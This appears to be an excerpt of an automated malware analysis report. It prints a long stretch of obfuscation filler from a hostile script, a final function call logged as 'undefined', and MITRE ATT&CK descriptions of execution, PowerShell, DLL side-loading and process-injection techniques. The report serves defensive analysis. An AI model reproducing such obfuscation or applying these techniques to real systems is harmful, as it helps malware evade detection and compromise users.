280	qalfpuh = "R";
281	qalfpuh = "e";
282	qalfpuh = "M";
283	qalfpuh = "A";
284	qalfpuh = "R";
285	qalfpuh = "G";
286	qalfpuh = "K";
287	qalfpuh = "n";
288	qalfpuh = "D";
289	qalfpuh = "r";
290	qalfpuh = "g";
291	qalfpuh = "L";
292	qalfpuh = "R";
293	qalfpuh = "h";
294	qalfpuh = "O";
295	qalfpuh = "J";
296	qalfpuh = "z";
297	qalfpuh = "I";
298	qalfpuh = "@";
299	cvyrqin = "X";
300	cvyrqin = "K";
301	cvyrqin = "Y";
302	cvyrqin = "A";
303	cvyrqin = "s";
304	cvyrqin = "k";
305	cvyrqin = "T";
306	cvyrqin = "C";
307	cvyrqin = "K";
308	cvyrqin = "i";
309	cvyrqin = "U";
310	cvyrqin = "u";
311	cvyrqin = "W";
312	cvyrqin = "j";
313	cvyrqin = "A";
314	cvyrqin = "y";
315	cvyrqin = "g";
316	cvyrqin = "l";
317	cvyrqin = "k";
318	cvyrqin = "g";
319	cvyrqin = "K";
320	cvyrqin = "b";
321	cvyrqin = "W";
322	cvyrqin = "m";
323	cvyrqin = "F";
324	cvyrqin = "L";
325	cvyrqin = "o";
326	cvyrqin = "h";
327	cvyrqin = "w";
328	cvyrqin = "Q";
329	cvyrqin = "D";
330	cvyrqin = "W";
331	cvyrqin = "h";
332	gxssv = "I";
333	gxssv = "g";
334	gxssv = "w";
335	gxssv = "T";
336	gxssv = "H";
337	gxssv = "U";
338	gxssv = "V";
339	gxssv = "L";
340	gxssv = "d";
341	gxssv = "J";
342	gxssv = "V";
343	gxssv = "S";
344	gxssv = "Z";
345	gxssv = "s";
346	gxssv = "z";
347	gxssv = "P";
348	gxssv = "i";
349	gxssv = ".";
350	uhnyhbb = "o";
351	uhnyhbb = "m";
352	uhnyhbb = "p";
353	uhnyhbb = "E";
354	uhnyhbb = "G";
355	uhnyhbb = "n";
356	uhnyhbb = "8";
357	wrndnvk = "Q";
358	wrndnvk = "r";
359	wrndnvk = "h";
360	wrndnvk = "k";
361	wrndnvk = "C";
362	wrndnvk = "Y";
363	wrndnvk = "i";
364	wrndnvk = "G";
365	wrndnvk = "r";
366	wrndnvk = "W";
367	wrndnvk = "V";
368	wrndnvk = "h";
369	wrndnvk = "v";
370	wrndnvk = "a";
371	wrndnvk = "g";
372	wrndnvk = "Y";
373	kidfnjpby = "q";
374	kidfnjpby = "n";
375	kidfnjpby = "C";
376	kidfnjpby = "s";
377	kidfnjpby = "n";
378	kidfnjpby = "c";
379	kidfnjpby = "G";
380	kidfnjpby = "J";
381	kidfnjpby = "O";
382	kidfnjpby = "L";
383	kidfnjpby = "Y";
384	kidfnjpby = "b";
385	kidfnjpby = "Y";
386	kidfnjpby = "S";
387	kidfnjpby = "M";
388	kidfnjpby = "z";
389	kidfnjpby = "s";
390	kidfnjpby = "Q";
391	kidfnjpby = "W";
392	kidfnjpby = "g";
393	kidfnjpby = "f";
394	kidfnjpby = "l";
395	kidfnjpby = "C";
396	kidfnjpby = "h";
397	kidfnjpby = "p";
398	kidfnjpby = "L";
399	urktw = "B";
400	urktw = "X";
401	urktw = "Z";
402	urktw = "N";
403	urktw = "T";
404	urktw = "e";
405	urktw = "W";
406	urktw = "E";
407	urktw = "M";
408	urktw = "w";
409	urktw = "m";
410	urktw = "E";
411	urktw = "B";
412	urktw = "f";
413	urktw = "w";
414	urktw = "v";
415	urktw = "E";
416	urktw = "t";
417	urktw = "I";
418	urktw = "W";
419	urktw = "a";
420	urktw = "Y";
421	urktw = "D";
422	urktw = "W";
423	urktw = "T";
424	urktw = "p";
425	urktw = "U";
426	urktw = "O";
427	urktw = "w";
428	urktw = "J";
429	urktw = "a";
430	urktw = ":";
431	dqmgmv = "U";
432	dqmgmv = "E";
433	dqmgmv = "b";
434	lueffssn = "d";
435	lueffssn = "Q";
436	lueffssn = "M";
437	lueffssn = "Y";
438	lueffssn = "b";
439	lueffssn = "e";
440	lueffssn = "p";
441	lueffssn = "G";
442	lueffssn = "y";
443	lueffssn = "N";
444	lueffssn = "b";
445	lueffssn = "q";
446	lueffssn = "c";
447	lueffssn = "L";
448	lueffssn = "O";
449	lueffssn = "k";
450	lueffssn = "r";
451	lueffssn = "B";
452	lueffssn = "r";
453	lueffssn = "R";
454	lueffssn = "v";
455	zxuoqxve = "v";
456	zxuoqxve = "b";
457	zxuoqxve = "I";
458	zxuoqxve = "M";
459	zxuoqxve = "w";
460	tuitjwde = "d";
461	tuitjwde = "H";
462	tuitjwde = "l";
463	tuitjwde = "C";
464	tuitjwde = "r";
465	tuitjwde = "d";
466	tuitjwde = "r";
467	tuitjwde = "F";
468	tuitjwde = "W";
469	tuitjwde = "A";
470	tuitjwde = "B";
471	tuitjwde = "V";
472	tuitjwde = "d";
473	tuitjwde = "O";
474	tuitjwde = "t";
475	tuitjwde = "C";
476	tuitjwde = "X";
477	tuitjwde = "T";
478	tuitjwde = "g";
479	tuitjwde = "r";
480	tuitjwde = "Z";
481	tuitjwde = "z";
482	tuitjwde = "G";
483	tuitjwde = "O";
484	tuitjwde = "l";
485	tuitjwde = "X";
486	tuitjwde = "o";
487	tuitjwde = "b";
488	tuitjwde = "u";
489	tuitjwde = "m";
490	tuitjwde = "Q";
491	tuitjwde = "Q";
492	tuitjwde = "r";
493	jyovt = "s";
494	jyovt = "x";
495	jyovt = "e";
496	jyovt = "N";
497	jyovt = "n";
498	jyovt = "d";
499	jyovt = "H";
500	jyovt = "B";
501	jyovt = "D";
502	jyovt = "F";
503	jyovt = "p";
504	jyovt = "G";
505	jyovt = "H";
506	jyovt = "Y";
507	jyovt = "A";
508	jyovt = "G";
509	jyovt = "e";
510	jyovt = "F";
511	jyovt = "v";
512	jyovt = "G";
513	jyovt = "W";
514	jyovt = "P";
515	jyovt = "U";
516	jyovt = "i";
517	jyovt = "P";
518	jyovt = "h";
519	jyovt = "O";
520	jyovt = "/";
521	hucqkddi = "U";
522	hucqkddi = "m";
523	hucqkddi = "d";
524	hucqkddi = "p";
525	hucqkddi = "G";
526	hucqkddi = "B";
527	hucqkddi = "I";
528	hucqkddi = "V";
529	hucqkddi = "J";
530	hucqkddi = "v";
531	hucqkddi = "I";
532	hucqkddi = "L";
533	hucqkddi = "H";
534	hucqkddi = "O";
535	hucqkddi = "h";
536	hucqkddi = "u";
537	hucqkddi = "E";
538	hucqkddi = "k";
539	hucqkddi = "H";
540	hucqkddi = "R";
541	hucqkddi = "k";
542	hucqkddi = "w";
543	hucqkddi = "f";
544	hucqkddi = "o";
545	hucqkddi = "k";
546	hucqkddi = "I";
547	hucqkddi = "U";
548	hucqkddi = "e";
549	hucqkddi = "F";
550	hucqkddi = "I";
551	hucqkddi = "G";
552	hucqkddi = "I";
553	hucqkddi = "S";
554	hucqkddi = "o";
555	hucqkddi = "u";
556	hucqkddi = "N";
557	hucqkddi = "B";
558	hucqkddi = "F";
559	brsxyg = "m";
560	brsxyg = "X";
561	brsxyg = "P";
562	brsxyg = "y";
563	brsxyg = "Z";
564	brsxyg = "v";
565	brsxyg = "H";
566	brsxyg = "A";
567	brsxyg = "t";
568	brsxyg = "Z";
569	brsxyg = "U";
570	brsxyg = "Z";
571	brsxyg = "j";
572	brsxyg = "g";
573	brsxyg = "X";
574	brsxyg = "Q";
575	brsxyg = "Z";
576	brsxyg = "o";
577	brsxyg = "q";
578	brsxyg = "g";
579	brsxyg = "c";
580	mzkcjin = "d";
581	mzkcjin = "X";
582	mzkcjin = "y";
583	mzkcjin = "Y";
584	mzkcjin = "z";
585	mzkcjin = "l";
586	mzkcjin = "a";
587	mzkcjin = "c";
588	mzkcjin = "C";
589	mzkcjin = "R";
590	mzkcjin = "n";
591	mzkcjin = "A";
592	mzkcjin = "L";
593	mzkcjin = "c";
594	mzkcjin = "t";
595	mzkcjin = "d";
596	mzkcjin = "B";
597	mzkcjin = "O";
598	mzkcjin = "F";
599	mzkcjin = "F";
600	mzkcjin = "Q";
601	mzkcjin = "q";
602	mzkcjin = "p";
603	mzkcjin = "P";
604	mzkcjin = "j";
605	mzkcjin = "v";
606	mzkcjin = "R";
607	mzkcjin = "q";
608	mzkcjin = "i";
609	mzkcjin = "V";
610	mzkcjin = "h";
611	mzkcjin = "A";
612	mzkcjin = "m";
613	mzkcjin = "E";
614	mzkcjin = "Q";
615	mzkcjin = "d";
616	mzkcjin = "J";
617	mzkcjin = "y";
618	mzkcjin = "H";
619	mzkcjin = "f";
620	mzkcjin = "b";
621	mzkcjin = "M";
622	mzkcjin = "2";
623	iaumvmgqs = "o";
624	iaumvmgqs = "W";
625	iaumvmgqs = "j";
626	qnfip = "E";
627	qnfip = "p";
628	qnfip = "k";
629	qnfip = "f";
630	qnfip = "x";
631	qnfip = "H";
632	qnfip = "p";
633	qnfip = "q";
634	qnfip = "h";
635	qnfip = "A";
636	qnfip = "D";
637	qnfip = "M";
638	qnfip = "u";
639	qnfip = "w";
640	qnfip = "D";
641	qnfip = "Z";
642	qnfip = "r";
643	qnfip = "a";
644	qnfip = "a";
645	qnfip = "b";
646	qnfip = "X";
647	qnfip = "W";
648	qnfip = "P";
649	qnfip = "d";
650	qnfip = "J";
651	qnfip = "f";
652	qnfip = "p";
653	qnfip = "c";
654	qnfip = "s";
655	qnfip = "P";
656	qnfip = "O";
657	qnfip = "P";
658	qnfip = "l";
659	qnfip = "f";
660	qnfip = "k";
661	qnfip = "O";
662	qnfip = "z";
663	qnfip = "G";
664	qnfip = "O";
665	qnfip = "f";
666	qnfip = "m";
667	qnfip = "l";
668	qnfip = "5";
669	syeouzua = "L";
670	syeouzua = "K";
671	syeouzua = "K";
672	syeouzua = "J";
673	syeouzua = "h";
674	syeouzua = "M";
675	syeouzua = "P";
676	syeouzua = "B";
677	syeouzua = "a";
678	syeouzua = "n";
679	syeouzua = "b";
680	syeouzua = "P";
681	syeouzua = "A";
682	syeouzua = "q";
683	syeouzua = "N";
684	syeouzua = "n";
685	syeouzua = "M";
686	syeouzua = "I";
687	syeouzua = "L";
688	syeouzua = "l";
689	syeouzua = "e";
690	syeouzua = "F";
691	syeouzua = "K";
692	syeouzua = "C";
693	syeouzua = "x";
694	syeouzua = "E";
695	syeouzua = "o";
696	syeouzua = "T";
697	syeouzua = "P";
698	syeouzua = "C";
699	syeouzua = "Y";
700	syeouzua = "a";
701	syeouzua = "Z";
702	syeouzua = "C";
703	syeouzua = "h";
704	syeouzua = "k";
705	syeouzua = "u";
706	syeouzua = "R";
707	syeouzua = "s";
708	syeouzua = "r";
709	syeouzua = "C";
710	syeouzua = "Q";
711	syeouzua = "q";
712	syeouzua = "a";
713	syeouzua = "9";
714	pllphpafg = "0";
715	cfpzf = "g";
716	cfpzf = "Q";
717	cfpzf = "f";
718	cfpzf = "I";
719	cfpzf = "D";
720	cfpzf = "x";
721	cfpzf = "3";
722	evzsdcqwm = "o";
723	evzsdcqwm = "o";
724	evzsdcqwm = "t";
725	evzsdcqwm = "l";
726	evzsdcqwm = "H";
727	evzsdcqwm = "L";
728	evzsdcqwm = "k";
729	evzsdcqwm = "X";
730	evzsdcqwm = "a";
731	evzsdcqwm = "X";
732	evzsdcqwm = "g";
733	evzsdcqwm = "R";
734	evzsdcqwm = "R";
735	evzsdcqwm = "c";
736	evzsdcqwm = "l";
737	evzsdcqwm = "O";
738	evzsdcqwm = "a";
739	evzsdcqwm = "U";
740	evzsdcqwm = "u";
741	evzsdcqwm = "t";
742	evzsdcqwm = "D";
743	evzsdcqwm = "n";
744	evzsdcqwm = "I";
745	evzsdcqwm = "D";
746	evzsdcqwm = "F";
747	evzsdcqwm = "z";
748	evzsdcqwm = "C";
749	evzsdcqwm = "l";
750	dectprm = "K";
751	dectprm = "p";
752	dectprm = "U";
753	dectprm = "k";
754	dectprm = "K";
755	dectprm = "K";
756	dectprm = "C";
757	dectprm = "q";
758	dectprm = "4";
759	ndoiwl = "C";
760	ndoiwl = "h";
761	ndoiwl = "H";
762	ndoiwl = "B";
763	ndoiwl = "f";
764	ndoiwl = "y";
765	ndoiwl = "u";
766	ndoiwl = "S";
767	ndoiwl = "a";
768	ndoiwl = "C";
769	ndoiwl = "O";
770	ndoiwl = "K";
771	ndoiwl = "m";
772	ndoiwl = "y";
773	ndoiwl = "T";
774	ndoiwl = "u";
775	ndoiwl = "s";
776	ndoiwl = "B";
777	ndoiwl = "a";
778	ndoiwl = "W";
779	ndoiwl = "k";
780	ndoiwl = "G";
781	ndoiwl = "G";
782	ndoiwl = "U";
783	ndoiwl = "I";
784	ndoiwl = "w";
785	ndoiwl = "H";
786	ndoiwl = "A";
787	ndoiwl = "Y";
788	ndoiwl = "T";
789	ndoiwl = "F";
790	ndoiwl = "m";
791	ndoiwl = "j";
792	ndoiwl = "o";
793	ndoiwl = "E";
794	ndoiwl = "J";
795	ndoiwl = "T";
796	ndoiwl = "g";
797	ndoiwl = "E";
798	ndoiwl = "O";
799	ndoiwl = "l";
800	ndoiwl = "W";
801	ndoiwl = "C";
802	ehsbxacy = "F";
803	ehsbxacy = "B";
804	ehsbxacy = "l";
805	ehsbxacy = "k";
806	ehsbxacy = "n";
807	ehsbxacy = "O";
808	ehsbxacy = "b";
809	ehsbxacy = "u";
810	ehsbxacy = "I";
811	hrzoerio = "m";
812	hrzoerio = "m";
813	hrzoerio = "A";
814	hrzoerio = "V";
815	hrzoerio = "b";
816	hrzoerio = "Y";
817	hrzoerio = "q";
818	hrzoerio = "h";
819	hrzoerio = "B";
820	hrzoerio = "c";
821	hrzoerio = "A";
822	hrzoerio = "g";
823	hrzoerio = "t";
824	hrzoerio = "k";
825	hrzoerio = "g";
826	hrzoerio = "r";
827	hrzoerio = "j";
828	hrzoerio = "S";
829	hrzoerio = "n";
830	hrzoerio = "P";
831	hrzoerio = "x";
832	hrzoerio = "a";
833	hrzoerio = "x";
834	hrzoerio = "q";
835	hrzoerio = "R";
836	hrzoerio = "l";
837	hrzoerio = "r";
838	hrzoerio = "R";
839	hrzoerio = "J";
840	hrzoerio = "B";
841	hrzoerio = "h";
842	hrzoerio = "A";
843	hrzoerio = "q";
844	hrzoerio = "n";
845	psbtmxuvk = "o";
846	psbtmxuvk = "L";
847	psbtmxuvk = "T";
848	psbtmxuvk = "O";
849	psbtmxuvk = "s";
850	psbtmxuvk = "P";
851	psbtmxuvk = "j";
852	psbtmxuvk = "T";
853	psbtmxuvk = "w";
854	psbtmxuvk = "w";
855	psbtmxuvk = "z";
856	psbtmxuvk = "p";
857	psbtmxuvk = "i";
858	psbtmxuvk = "l";
859	psbtmxuvk = "G";
860	psbtmxuvk = "x";
861	psbtmxuvk = "s";
862	psbtmxuvk = "q";
863	psbtmxuvk = "f";
864	psbtmxuvk = "m";
865	psbtmxuvk = "A";
866	psbtmxuvk = "l";
867	psbtmxuvk = "D";
868	psbtmxuvk = "L";
869	psbtmxuvk = "u";
870	psbtmxuvk = "H";
871	psbtmxuvk = "A";
872	psbtmxuvk = "q";
873	psbtmxuvk = "b";
874	psbtmxuvk = "l";
875	psbtmxuvk = "J";
876	psbtmxuvk = "W";
877	psbtmxuvk = "T";
878	psbtmxuvk = "b";
879	psbtmxuvk = "P";
880	psbtmxuvk = "j";
881	psbtmxuvk = "i";
882	psbtmxuvk = "k";
883	psbtmxuvk = "U";
884	psbtmxuvk = "i";
885	esmrkgynm = "d";
886	xufqllfr = "f";
887	xufqllfr = "t";
888	xufqllfr = "d";
889	xufqllfr = "F";
890	xufqllfr = "z";
891	xufqllfr = "N";
892	xufqllfr = "G";
893	xufqllfr = "V";
894	xufqllfr = "J";
895	xufqllfr = "k";
896	xufqllfr = "x";
897	xufqllfr = "f";
898	xufqllfr = "r";
899	xufqllfr = "t";
900	rpmoej = "K";
901	rpmoej = "J";
902	rpmoej = "Y";
903	rpmoej = "j";
904	rpmoej = "p";
905	rpmoej = "Z";
906	rpmoej = "D";
907	rpmoej = "M";
908	rpmoej = "u";
909	rpmoej = "d";
910	rpmoej = "E";
911	rpmoej = "r";
912	rpmoej = "J";
913	rpmoej = "M";
914	rpmoej = "N";
915	rpmoej = "Q";
916	rpmoej = "F";
917	rpmoej = "x";
918	rpmoej = "H";
919	rpmoej = "B";
920	rpmoej = "J";
921	rpmoej = "z";
922	rpmoej = "c";
923	rpmoej = "n";
924	rpmoej = "J";
925	rpmoej = "O";
926	rpmoej = "C";
927	rpmoej = "J";
928	rpmoej = "x";
929	rpmoej = "B";
930	rpmoej = "e";
931	rpmoej = "F";
932	rpmoej = "U";
933	rpmoej = "e";
934	rpmoej = "T";
935	rpmoej = "S";
936	rpmoej = "r";
937	rpmoej = "H";
938	rpmoej = "g";
939	rpmoej = "F";
940	rpmoej = "U";
941	rpmoej = "i";
942	rpmoej = "\"";
943	rjstxjvwx = "L";
944	rjstxjvwx = "K";
945	rjstxjvwx = "X";
946	rjstxjvwx = "F";
947	rjstxjvwx = "x";
948	rjstxjvwx = "A";
949	rjstxjvwx = "E";
950	rjstxjvwx = "G";
951	rjstxjvwx = "K";
952	rjstxjvwx = "b";
953	rjstxjvwx = "Z";
954	rjstxjvwx = "s";
955	rjstxjvwx = "k";
956	rjstxjvwx = "a";
957	rjstxjvwx = "Y";
958	rjstxjvwx = "D";
959	rjstxjvwx = "A";
960	rjstxjvwx = "u";
961	rjstxjvwx = "Y";
962	rjstxjvwx = "M";
963	rjstxjvwx = "a";
964	rjstxjvwx = "f";
965	rjstxjvwx = "h";
966	rjstxjvwx = "E";
967	rjstxjvwx = "P";
968	rjstxjvwx = "N";
969	rjstxjvwx = "T";
970	hnrvhx = "w";
971	hnrvhx = "i";
972	hnrvhx = "o";
973	hnrvhx = "n";
974	hnrvhx = "M";
975	hnrvhx = "U";
976	hnrvhx = "x";
977	hnrvhx = "B";
978	hnrvhx = "k";
979	hnrvhx = "a";
980	hnrvhx = "l";
981	hnrvhx = "E";
982	hnrvhx = "I";
983	hnrvhx = "d";
984	hnrvhx = "G";
985	hnrvhx = "B";
986	hnrvhx = "s";
987	hnrvhx = "t";
988	hnrvhx = "P";
989	hnrvhx = "m";
990	hnrvhx = "K";
991	hnrvhx = "h";
992	hnrvhx = "q";
993	hnrvhx = "W";
994	hnrvhx = "n";
995	hnrvhx = "k";
996	oissc = "C";
997	oissc = "M";
998	oissc = "Z";
999	oissc = "U";
1000	oissc = "c";
1001	oissc = "L";
1002	oissc = "M";
1003	oissc = "b";
1004	oissc = "O";
1005	oissc = "f";
1006	oissc = "m";
1007	oissc = "U";
1008	oissc = "Q";
1009	dasxoykye = "p";
1010	dasxoykye = "N";
1011	dasxoykye = "k";
1012	dasxoykye = "A";
1013	dasxoykye = "i";
1014	dasxoykye = "B";
1015	dasxoykye = "t";
1016	dasxoykye = "B";
1017	dasxoykye = "z";
1018	dasxoykye = "h";
1019	dasxoykye = "w";
1020	dasxoykye = "M";
1021	dasxoykye = "C";
1022	dasxoykye = "b";
1023	dasxoykye = "J";
1024	dasxoykye = "Z";
1025	dasxoykye = "s";
1026	dasxoykye = "F";
1027	dasxoykye = "E";
1028	cicuwss = "V";
1029	cicuwss = "Q";
1030	cicuwss = "I";
1031	cicuwss = "I";
1032	cicuwss = "d";
1033	cicuwss = "f";
1034	cicuwss = "i";
1035	cicuwss = "L";
1036	cicuwss = "z";
1037	cicuwss = "f";
1038	cicuwss = "j";
1039	cicuwss = "k";
1040	cicuwss = "a";
1041	cicuwss = "U";
1042	cicuwss = "p";
1043	cicuwss = "Z";
1044	cicuwss = "A";
1045	cicuwss = "p";
1046	cicuwss = "i";
1047	cicuwss = "M";
1048	cicuwss = "t";
1049	cicuwss = "g";
1050	cicuwss = "N";
1051	cicuwss = "G";
1052	cicuwss = "F";
1053	cicuwss = "k";
1054	cicuwss = "h";
1055	cicuwss = "Q";
1056	cicuwss = "R";
1057	cicuwss = "j";
1058	cicuwss = "F";
1059	cicuwss = "c";
1060	cicuwss = "x";
1061	zxveuhkg = "F";
1062	zxveuhkg = "w";
1063	zxveuhkg = "O";
1064	zxveuhkg = "r";
1065	zxveuhkg = "v";
1066	zxveuhkg = "L";
1067	zxveuhkg = "O";
1068	zxveuhkg = "F";
1069	zxveuhkg = "f";
1070	zxveuhkg = "e";
1071	zxveuhkg = "N";
1072	zxveuhkg = "I";
1073	zxveuhkg = "b";
1074	zxveuhkg = "n";
1075	zxveuhkg = "Z";
1076	zxveuhkg = "a";
1077	zxveuhkg = "e";
1078	zxveuhkg = "R";
1079	zxveuhkg = "f";
1080	zxveuhkg = "l";
1081	zxveuhkg = "Q";
1082	zxveuhkg = "h";
1083	zxveuhkg = "R";
1084	zxveuhkg = "a";
1085	zxveuhkg = "w";
1086	zxveuhkg = "w";
1087	zxveuhkg = "h";
1088	zxveuhkg = "r";
1089	zxveuhkg = "X";
1090	zxveuhkg = "a";
1091	zxveuhkg = "I";
1092	zxveuhkg = "R";
1093	zxveuhkg = "H";
1094	zxveuhkg = "P";
1095	zxveuhkg = "t";
1096	zxveuhkg = "q";
1097	zxveuhkg = "d";
1098	zxveuhkg = "x";
1099	zxveuhkg = "u";
1100	rxkfo = "p";
1101	rxkfo = "R";
1102	rxkfo = "K";
1103	rxkfo = "a";
1104	rxkfo = "j";
1105	rxkfo = "q";
1106	usfou = "r";
1107	usfou = "q";
1108	usfou = "g";
1109	usfou = "n";
1110	usfou = "f";
1111	usfou = "C";
1112	usfou = "H";
1113	usfou = "f";
1114	usfou = "g";
1115	usfou = "V";
1116	usfou = "Q";
1117	usfou = "R";
1118	usfou = "Y";
1119	usfou = "w";
1120	usfou = "e";
1121	usfou = "n";
1122	usfou = "k";
1123	usfou = "v";
1124	usfou = "h";
1125	usfou = "p";
1126	usfou = "K";
1127	usfou = "s";
1128	usfou = "N";
1129	sokmwgo = "J";
1130	sokmwgo = "t";
1131	sokmwgo = "A";
1132	sokmwgo = "P";
1133	sokmwgo = "K";
1134	sokmwgo = "h";
1135	sokmwgo = "x";
1136	sokmwgo = "Z";
1137	sokmwgo = "q";
1138	sokmwgo = "n";
1139	sokmwgo = "I";
1140	sokmwgo = "T";
1141	sokmwgo = "C";
1142	sokmwgo = "r";
1143	sokmwgo = "T";
1144	sokmwgo = "I";
1145	sokmwgo = "m";
1146	sokmwgo = "v";
1147	sokmwgo = "w";
1148	sokmwgo = "L";
1149	sokmwgo = "a";
1150	cwqpsy = "r";
1151	cwqpsy = "y";
1152	cwqpsy = "B";
1153	cwqpsy = "n";
1154	cwqpsy = "v";
1155	cwqpsy = "z";
1156	cwqpsy = "&";
1157	bwjxh = "P";
1158	bwjxh = "n";
1159	bwjxh = "K";
1160	bwjxh = "s";
1161	bwjxh = "v";
1162	bwjxh = "q";
1163	bwjxh = "N";
1164	bwjxh = "z";
1165	bwjxh = "F";
1166	bwjxh = "w";
1167	bwjxh = "M";
1168	bwjxh = "H";
1169	bwjxh = "l";
1170	bwjxh = "f";
1171	bwjxh = "b";
1172	bwjxh = "h";
1173	bwjxh = "z";
1174	bwjxh = "t";
1175	bwjxh = "u";
1176	bwjxh = "q";
1177	bwjxh = "c";
1178	bwjxh = "g";
1179	bwjxh = "S";
1180	bwjxh = "z";
1181	bwjxh = "O";
1182	bwjxh = "x";
1183	bwjxh = "w";
1184	bwjxh = "D";
1185	bwjxh = "u";
1186	bwjxh = "Y";
1187	bwjxh = "Z";
1188	bwjxh = "M";
1189	bwjxh = "R";
1190	bwjxh = "v";
1191	bwjxh = "h";
1192	bwjxh = "J";
1193	bwjxh = "n";
1194	bwjxh = "m";
1195	bwjxh = "p";
1196	bwjxh = "a";
1197	bwjxh = "K";
1198	bwjxh = "K";
1199	gvzqp = "H";
1200	gvzqp = "T";
1201	gvzqp = "M";
1202	gvzqp = "Q";
1203	gvzqp = "a";
1204	gvzqp = "h";
1205	gvzqp = "S";
1206	gvzqp = "Z";
1207	gvzqp = "r";
1208	gvzqp = "X";
1209	gvzqp = "%";
1210	dkdvby = "A";
1211	dkdvby = "J";
1212	dkdvby = "O";
1213	dkdvby = "W";
1214	dkdvby = "S";
1215	dkdvby = "f";
1216	dkdvby = "F";
1217	dkdvby = "A";
1218	dkdvby = "d";
1219	dkdvby = "h";
1220	dkdvby = "Y";
1221	dkdvby = "f";
1222	dkdvby = "J";
1223	dkdvby = "N";
1224	dkdvby = "V";
1225	dkdvby = "f";
1226	dkdvby = "Y";
1227	dkdvby = "z";
1228	dkdvby = "C";
1229	dkdvby = "h";
1230	dkdvby = "T";
1231	dkdvby = "f";
1232	wquml = "h";
1233	wquml = "Q";
1234	wquml = "k";
1235	wquml = "W";
1236	wquml = "R";
1237	wquml = "G";
1238	wquml = "i";
1239	wquml = "s";
1240	wquml = "S";
1241	wquml = "k";
1242	wquml = "m";
1243	wquml = "e";
1244	wquml = "P";
1245	wquml = "r";
1246	wquml = "f";
1247	wquml = "L";
1248	wquml = "O";
1249	wquml = "W";
1250	wquml = "w";
1251	wquml = "U";
1252	wquml = "w";
1253	wquml = "s";
1254	wquml = "q";
1255	wquml = "e";
1256	wquml = "O";
1257	wquml = "u";
1258	wquml = "I";
1259	wquml = "U";
1260	wquml = "a";
1261	wquml = "L";
1262	wquml = "I";
1263	wquml = "B";
1264	wquml = "i";
1265	wquml = "z";
1266	wquml = "B";
1267	wquml = " ";
1268	usdcbn = "L";
1269	usdcbn = "S";
1270	usdcbn = "X";
1271	usdcbn = "K";
1272	usdcbn = "I";
1273	usdcbn = "j";
1274	usdcbn = "c";
1275	usdcbn = "N";
1276	usdcbn = "U";
1277	usdcbn = "A";
1278	usdcbn = "b";
1279	usdcbn = "B";
1280	usdcbn = "V";
1281	usdcbn = "W";
1282	usdcbn = "X";
1283	usdcbn = "A";
1284	usdcbn = "L";
1285	usdcbn = "J";
1286	usdcbn = "f";
1287	usdcbn = "L";
1288	usdcbn = "C";
1289	usdcbn = "r";
1290	usdcbn = "A";
1291	usdcbn = "J";
1292	usdcbn = "x";
1293	usdcbn = "D";
1294	usdcbn = "X";
1295	usdcbn = "t";
1296	usdcbn = "-";
1297	lowlorfv = "w";
1298	lowlorfv = "b";
1299	lowlorfv = "U";
1300	lowlorfv = "p";
1301	lowlorfv = "O";
1302	lowlorfv = "B";
1303	lowlorfv = "V";
1304	lowlorfv = "n";
1305	lowlorfv = "c";
1306	lowlorfv = "q";
1307	lowlorfv = "t";
1308	lowlorfv = "b";
1309	lowlorfv = "E";
1310	lowlorfv = "Y";
1311	lowlorfv = "G";
1312	lowlorfv = "K";
1313	lowlorfv = "p";
1314	lowlorfv = "Y";
1315	lowlorfv = "t";
1316	lowlorfv = "D";
1317	lowlorfv = "d";
1318	lowlorfv = "z";
1319	lowlorfv = "V";
1320	lowlorfv = "p";
1321	lowlorfv = "w";
1322	lowlorfv = "V";
1323	lowlorfv = "a";
1324	lowlorfv = "q";
1325	lowlorfv = "W";
1326	lowlorfv = "b";
1327	lowlorfv = "E";
1328	lowlorfv = "H";
1329	lowlorfv = "F";
1330	lowlorfv = "h";
1331	lowlorfv = "E";
1332	lowlorfv = "x";
1333	lowlorfv = "Y";
1334	lowlorfv = "l";
1335	lowlorfv = "n";
1336	lowlorfv = "J";
1337	lowlorfv = "6";
1338	xpcxfxp ( );	xpcxfxp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
